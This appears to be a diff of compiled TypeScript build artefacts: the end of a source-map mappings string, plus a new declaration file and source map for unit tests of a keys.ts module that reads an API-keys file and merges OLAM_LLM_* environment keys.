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"}
@@ -0,0 +1,9 @@
1
+ /**
2
+ * Unit tests for keys.ts pure helpers.
3
+ *
4
+ * Covers readKeysFile (missing/empty/malformed/valid) and the
5
+ * env-merge precedence contract (OLAM_LLM_* keys do not overwrite
6
+ * existing worldEnv entries).
7
+ */
8
+ export {};
9
+ //# sourceMappingURL=keys.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"keys.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/keys.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG"}